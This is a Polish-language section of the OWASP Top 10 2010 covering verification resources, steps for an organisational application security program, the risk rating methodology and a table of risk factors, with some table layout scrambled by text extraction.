Standaryzacja Weryfikacji Bezpieczeństwa Web Aplikacji: Aby pomóc organizacjom rozwijać spójność i określony poziom dyscypliny podczas oceny bezpieczeństwa aplikacji internetowych, OWASP stworzyło Application Security Verification Standard (ASVS). Dokument ten określa minimalny standard weryfikacji dla przeprowadzania oceny bezpieczeństwa aplikacji internetowych. OWASP zaleca korzystanie z ASVS jako zestawu wskazówek na co należy zwracać uwagę podczas weryfikacji bezpieczeństwa aplikacji oraz jakie techniki są najbardziej odpowiednie dla danego projektu. ASVS wspomaga również ustalenie odpowiedniego rygoru podczas tych testów.

Assessment Tools Suite: Projekt WASP Live CD zebrał w jednym miejscu jedne z najlepszych narzędzi open source z dziedziny bezpieczeństwa. Deweloperzy stron, testerzy, oraz profesjonaliści z bezpieczeństwa mogą w dowolny chwili włączyć Live CD i od razu mieć dostęp do pełnego zestawu narzędzi testujących bezpieczeństwo. Dla tej CD nie jest wymagana żadna instalacja lub dodatkowa konfiguracja.

Co dalej dla weryfikatorów+V

Analiza kodu

Analiza kodu jest najlepszym sposobem na sprawdzenie czy aplikacja zawiera błędy. Testowanie jedynie wykazuje ze aplikacja nie jest bezpieczna.

Analiza kodu: Jako uzupełnienie do OWASP Developer’s Guide, oraz OWASP Testing Guide, OWASP wydało OWASP Code Review Guide aby deweloperzy oraz specjaliści bezpieczeństwa mogli lepiej zrozumieć jak wydajniej i efektywniej analizować kod aplikacji pod kątem bezpieczeństwa. Web aplikacje mogą zawierać setki różnych błędów, np. błędy wstrzyknięcia które są łatwiejsze do wykrycia podczas analizy kodu niż podczas testowania aplikacji.

Narzędzia do analizy kodu: OWASP wspomagał ekspertów podczas analizy kodu jednak stworzone narzędzia są nadal w początkowej fazie rozwoju. Autorzy tych narzędzi wykorzystują je codziennie podczas wykonywania testów. Pozostałe osoby mogą odnaleźć te narzędzia, chociaż pewnie będą one trudne w użyciu. Przykłady CodeCrawler, Orizon, oraz O2.

Bezpieczeństwo oraz testy penetracyjne

Testowanie aplikacji: OWASP stworzyło Przewodnik Testowania aby wspomóc developerów, testerów, oraz specjalistów bezpieczeństwa w zrozumieniu jak wydajnie i efektywnie testować bezpieczeństwo web aplikacji. Ten potężny podręcznik, którego stworzyło wielu ludzi, zwiera informacje na temat wielu znanych tematów z dziedziny bezpieczeństwa web aplikacji. Podobnie jak przegląd kodu ma swoje mocne strony, tak samo mają je testy bezpieczeństwa. Nie ma nic bardziej przekonującego niż przedstawienie działającego exploita pokazującego wykorzystanie błędu. Istnieje również wiele problemów bezpieczeństwa, w szczególności zabezpieczeń oferowanych przez infrastrukturę aplikacji, które po prostu nie mogą być widoczne przez przeglądu kodu, ponieważ aplikacja sama w sobie nie jest bezpieczna.

Narzędzia do Testów Penetracyjnych Aplikacji: Projekt WebScarab, jest aktualnie najczęściej używanym narzędziem OWASP. Jest to narzędzie proxy umożliwiające analitykom bezpieczeństwa przechwytywanie i podmiany zapytań web aplikacji, w celu analizy działania aplikacji. Narzędzie to jest przydatne w szczególności podczas poszukiwania błędów typu XSS, Autentykacji, oraz kontroli dostępu.

Już dzisiaj rozpocznij program bezpieczeństwa aplikacjiBezpieczeństwo aplikacji nie jest wyborem. Z powodu narastającej liczby ataków oraz regulacyjnych presji, organizacje musza ustalić umiejętne zarządzanie bezpieczeństwem aplikacji. Biorąc pod uwagę olbrzymie ilości kodu aplikacji które są już w użytku, wiele firm ma problemy z zaradzaniem bezpieczeństwem tak wielu aplikacji. W celu zdobycia informacji odnośnie wzmocnienia poziomu bezpieczeństwa wewnątrz portfolio aplikacji firmy, OWASP zaleca ustanowienie programu bezpieczeństwa aplikacji. Osiągnięcie odpowiedniego poziomu bezpieczeństwa aplikacji wymaga kooperacji wielu różnych części organizacji, włączając w to bezpieczeństwo oraz audyt, procesu tworzenia aplikacji , oraz kadry zarządzającej przedsiębiorstwem. Wymaga to widoczność bezpieczeństwa w taki sposób, aby pozostali uczestnicy mogli zobaczyć oraz zrozumieć stan bezpieczeństwa aplikacji. Wymagane jest również skupienie się na działaniach i wynikach wspomagających bezpieczeństwo poprzez redukcje ryzyka w najbardziej efektywny sposób. Kluczowe działania skutecznego programu bezpieczeństwa aplikacji:

Co dalej dla organizacji+O

•Rozpocznij program bezpieczeństwa aplikacji i przystosuj się do niego.•Przeprowadź canalizę porównawczą lub w możliwościach w komórkach organizacji w celu zdefiniowania kluczowych obszarów dziania.

•Uzyskaj zgodę zarządu ustanów kampanię uświadamiającą bezpieczeństwo aplikacji dla całego środowiska IT w organizacji.

Start

•Zidentyfikuj oraz ustal kolejność portfolio aplikacji z perspektywy związanego z nimi ryzyka.•Stwórz model oceny ryzyka aplikacji, w celu pomiaru i ustalenia priorytetów aplikacji w twoim portfolio.

•Ustal wytyczne zapewniające odpowiednie zdefiniowanie badanego obszaru oraz poziomu wymaganego rygoru.

•Stwórz model wspólnej oceny ryzyka na podstawie spójnej oceny prawdopodobieństwa oraz wpływu czynników, odpowiednio do tolerancji organizacji dla danego ryzyka.

Risk Based Portfolio Approach

•Stwórz zestaw polityk oraz standardów zapewniających podstawy bezpieczeństwa dla zespołów developerów którzy powinni się do nich zastosować.

•Stwórz zestawy wspólnych kontroli bezpieczeństwa wielokrotnego użytku, tak aby uzupełniały polityki i standardy. Dostarcz wytyczne dotyczące ich wdrożenia

•Ustal obowiązujący program szkoleniowy bezpieczeństwa aplikacji przystosowany dla różnych zespołów oraz zadań.

Enable with a Strong

Foundation

•Zdefiniuj oraz zintegruj implementację bezpieczeństwa oraz weryfikację zadań do obecnych procesów operacyjnych i rozwoju. Działania obejmują Threat Modeling, Bezpieczny design i Review, Bezpieczny kod i Review, Pentesty, Naprawy, itp..

•Zapewnij ekspertów do danych działań oraz usługi wsparcia dla działu rozwoju oraz projektów

Integracja bezpieczeńst

wa do procesów

•Zarządzaj z wskaźnikami. Wprowadzają ulepszenia oraz decyzje finansowe oparte o metryki i analizę zebranych danych. Wskaźniki obejmują przestrzeganie zasad bezpieczeństwa, działań, odnalezionych/ złagodzonych słabości, pokrycia aplikacji itp..

•Analizuj dane z implementacyjnych oraz weryfikacyjnych działań w celu odnalezienia przyczyny usterki oraz wzorców do ulepszenia procesu w całym przedsiębiorstwie

Provide Management

Visibility

Chodzi o ryzyko, nie słabości

Chociaż poprzednie wersje OWASP Top 10 skupiały się głównie na identyfikowaniu najbardziej popularnych "słabości”, rzeczywiście były zorganizowane pod kątem ryzyk. Wywołało to niezrozumienie w środowisku ludzi poszukujących dokładnej taksonomii słabości. Obecna aktualizacja Top 10 wyjaśnia skupienie na ryzykach, poprzez dokładniejszy opis czynników zagrożeń, wektorów ataku, słabości, wpływu technicznego, oraz biznesowego tworzących dane ryzyko..

W tym celu dla Top 10 stworzyliśmy metodologię Oceny Ryzyka opartą na OWASP Risk Rating Methodology. Dla każdego elementu Top 10, na podstawie czynników prawdopodobieństwa wystąpienia oraz wpływu, oszacowaliśmy typowe ryzyko spowodowane dla typowej web aplikacji. Następnie oceniamy Top 10 pod kątem tych słabości które najczęściej stwarzają największe zagrożenie dla aplikacji.

Metodologia Oceny Ryzyka OWASP definiuje wiele czynników pomagających ocen ę ryzyka zidentyfikowanej słabości. Jednak Top 10 omawia ogół a nie konkretne słabości w istniejących aplikacjach. W efekcie nigdy nie możemy być tak dokładni w ocenie ryzyka jak właściciel danej aplikacji/ platformy. Nie wiemy jak ważne są twoje aplikacje lub dane w nich przetrzymywane, jakie są twoje czynniki zagrożenia, lub jak jest zbudowany i zarządzany twój system.

Nasza metodologia zawiera trzy czynniki prawdopodobieństwa dla każdej ze słabości (powszechność, wykrywalność, oraz łatwość wykorzystania) oraz jeden czynnik wpływu (wpływ techniczny). Powszechność słabości jest czynnikiem którego nie wyliczasz. Powszechność została wyliczona na podstawie dostarczonych dla nas danych z wielu organizacji. Dane te uśredniliśmy a następnie posortowaliśmy w Top 10 według ich powszechności.. Następnie dane te zostały wciągnięte do obliczeń kolejnych czynników możliwości wystąpienia (wykrywalność oraz łatwość wykorzystania) aby wyliczyć prawdopodobieństwo dl każdej ze słabości.. Wyniki te pomnożyliśmy przez oszacowaną średnią wpływu technicznego dla każdego elementu tak aby w końcowym rezultacie uzyskać ranking ogólnego ryzyka dla każdego elementu z listy Top 10.

Zauważ, że to podejście nie bierze pod uwagę prawdopodobieństwa czynnika zagrożenia . Nie zalicza się również do tego żadne z różnych technicznych detali związanych z konkretna aplikacją. Każdy z tych czynników może istotnie wpłynąć na całkowite prawdopodobieństwo jeżeli osoba atakująca odnajdzie lukę i ją wykorzysta.. Ocena ta również nie bierze pod uwagę wpływu na firmę. To twoja firma musi zdecydować jak duże ryzyko twoja firma jest w stanie zaakceptować. Analiza ryzyka nie jest zadaniem OWASP Top 10.

Poniżej zilustrowano kalkulację zagrożenia dla A2.: Cross-Site Scripting. Zauważ, że ze względu na powszechność, XSS jako jedyna uzyskało status: ‚POWSZECHNE’ . Wszystkie pozostałe mają status od częste do (wartości od 1 do 3).

Ryzyko+R

__________ WykorzystanieŚREDNIE

PowszechnośćPOWSZECHNE

WykrywalnośćŁATWA

WpływŚREDNI __________

2 0

1

1

*

2

2

2

Security Weakness

Attack Vectors

Technical ImpactsCzynnik zagrożenia

BusinessImpacts

Podsumowanie Top 10 czynników ryzyka

Poniższa tabela przedstawia podsumowanie Top 10 Ryzyk bezpieczeństwa aplikacji 2010., oraz czynników ryzyka przypisanych do każdego ryzyka. Czynniki te zostały określone na podstawie dostępnych statystyk oraz doświadczenia zespołu OWASP. Aby zrozumieć ryzyka dla poszczególnych aplikacji lub organizacji, musisz wziąć pod uwagę własne czynniki zagrożenia i skutki biznesowe. Nawet najbardziej rażące niedociągnięcia w oprogramowaniu mogą nie stanowić żadnego ryzyka, jeżeli nie ma czynników zagrożenia będących w stanie wykonać atak, lub wpływ na zaangażowane aktywa jest znikomy.

Szczegóły czynników ryzyka+F

RYZYKO

A1-Injection ŁATWE CZĘSTE ŚREDNIA SILNY

A2-XSS ŚREDNIE BARDZO CZĘSTE ŁATWA UMIARKOWANY

A3-Auten-ja ŚREDNIE CZĘSTE ŚREDNIA SILNY

A4-DOR ŁATWE CZĘSTE ŁATWA UMIARKOWANY

A5-CSRF ŚREDNIE BARDZO CZĘSTE ŁATWA UMIARKOWANY

A6-Config ŁATWE CZĘSTE ŁATWA UMIARKOWANY

A7-Krypto TRUDNE RZADKIE TRUDNA SILNY

A8-Dostep URL ŁATWE RZADKIE ŚREDNIA UMIARKOWANY

A9-Transport TRUDNE CZĘSTE ŁATWA UMIARKOWANY

A10-Przekier. ŚREDNIE RZADKIE ŁATWA UMIARKOWANY

Słabości Bezpieczeństwa

Wektory Ataku

WpływyTechniczne

Pozostałe ryzyka warte uwagiTop 10 obejmuje całkiem spory obszar, lecz nadal jest wiele innych ryzyk na które powinieneś zwrócić uwagę i odpowiednie zabezpieczyć przed nimi swoją firmę. Niektóre z nich pojawił się w poprzednich edycjach OWASP Top 10, a niektóre nie, włączając w to nieustannie identyfikowane nowe techniki ataków. Poniżej znajduje się lista pozostałych ryzyk wartych uwagi:• Clickjacking (nowa technika wynaleziona w 2008)• Błędy współbieżności• Denial of Service (w Top 10 2004 było jako – A9)• Header Injection (tzw. CRLF Injection)• Wyciek informacji oraz Błędna obsługa błędów (Top 10 2007 –A6)• Insufficient Anti-automation•Niewystarczające logowanie i odpowiedzialność(Top 10 2007–A6)• Brak wykrywania i reakcji na intruza• Szkodliwe rozszerzenia plików (Top 10 2007–A3)

CzynnikiZagrożenia

WpływyBiznesowe

Wystepowanie WykrywalnośćWykorzystanie Wpływ